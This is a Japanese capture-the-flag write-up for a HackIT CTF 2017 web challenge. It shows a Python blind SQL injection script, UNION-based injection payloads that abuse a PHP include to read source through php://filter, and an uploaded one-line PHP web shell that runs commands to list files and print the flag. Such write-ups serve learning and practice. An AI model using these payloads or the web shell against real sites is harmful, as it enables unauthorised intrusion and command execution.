チーム Harekaze で HackIT CTF 2017 に参加しました。最終的にチームで 750 点を獲得し、順位は得点 338 チーム中 39 位でした。うち、私は 1 問を解いて 100 点を入れました。
以下、解いた問題の write-up です。
与えられた URL にアクセスすると、国を選択できるフォームが表示されました。
試しに Netherlands
を選択して送信すると、ファイルをアップロードできるフォームが表示されました。
このときのパスは /index.php?country=Netherlands
となっていました。Netherlands
を Netherlands'
に変えると何も表示されず、Netherlands' '
に変えるとファイルのアップロードができるフォームが表示されました。また、' or 1;%23
に変えると Germany
を選択したときと同じフォームが表示されました。SQLi ができそうです。
Blind SQLi を行うスクリプトを書きましょう。
import requests
import urllib
def query(s):
r = requests.post(url + urllib.quote(s))
return r.content
def check(r):
return 'Select virus for Germany' in r
if __name__ == '__main__':
url = 'http://tasks.ctf.com.ua:13372/index.php?country='
res = ''
i = 1
while True:
c = 0
for b in range(7):
r = check(query("' or (select ascii(substr({0}, {1}, 1)) & {2});#".format('version()', i, 1 << b)))
if r: c |= 1 << b
res += chr(c)
i += 1
print repr(res)
実行すると 5.5.38-0ubuntu0.14.04.1
と出力され、MySQL が使われていることが分かりました。
テーブルの構造を調べていきましょう。version()
を (select group_concat(table_name) from information_schema.tables where table_schema=database())
に変えると countries
が出力されました。
countries
がどのようなカラムを持つか調べるため (select group_concat(column_name) from information_schema.columns where table_name="countries")
に変えると countryID,countryName,scriptPath
が出力されました。
countryID
は国の ID、countryName
は国名と推測できますが、scriptPath
とはなんでしょう。(select group_concat(scriptPath) from countries)
に変えると country/ge.php,...
が出力されました。/country/ne.php
にアクセスすると Netherlands
を選択した際に表示されたフォームが出力されました。select scriptPath from countries where countryName='(ユーザ入力)'
とした結果を include
していそうです。
LFI ができないか試してみましょう。/index.php?country=' union select 'php://filter/convert.base64-encode/resource=country/ne.php';%23
にアクセスすると country/ne.php
のソースが手に入れられました。
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="file" class="inputfile inputfile-4" data-multiple-caption="{count} files selected" multiple />
<label for="file">
<figure>
<img src="static/upload1.png" width="100px;">
</figure>
<span>Select virus for Ne…</span>
</label>
<br>
<input type="submit" value="Upload Image" name="submit" class="button">
</form>
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file);
/*echo $_FILES["fileToUpload"]["tmp_name"] ."\n";
var_dump($_FILES["fileToUpload"]);
var_dump(file_exists($_FILES["fileToUpload"]["tmp_name"]));
echo file_exists($target_file);*/
?>
アップロードしたファイルは uploads/
下にあるようです。
shelldayo.php
という名前で、以下のような内容のファイルをアップロードしましょう。
<?php
passthru($_GET['s']);
/index.php?country=' union select 'uploads/shelldayo.php';%23&s=ls
にアクセスするとファイルの一覧が得られました。
country
index.php
iulersiueruigfuihseruhgi.php
static
uploads
/index.php?country=' union select 'uploads/shelldayo.php';%23&s=cat iulersiueruigfuihseruhgi.php
にアクセスするとフラグが得られました。
<?php
$flag="h4ck1t{$QL&LFI=FR13ND$}";
?>
h4ck1t{$QL&LFI=FR13ND$}